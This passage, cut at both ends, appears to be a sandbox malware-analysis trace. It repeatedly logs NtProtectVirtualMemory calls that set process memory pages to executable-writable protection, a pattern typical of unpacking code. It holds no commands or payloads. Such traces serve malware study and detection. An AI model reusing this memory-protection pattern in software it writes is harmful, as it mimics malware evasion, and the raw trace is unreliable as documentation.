NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.228] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.238] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.248] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.286] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.410] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.431] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.443] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.480] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.613] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.687] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.698] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.953] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0304.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.059] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.311] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.397] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.425] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0305.504] NtProtectVirtualMemory (in: 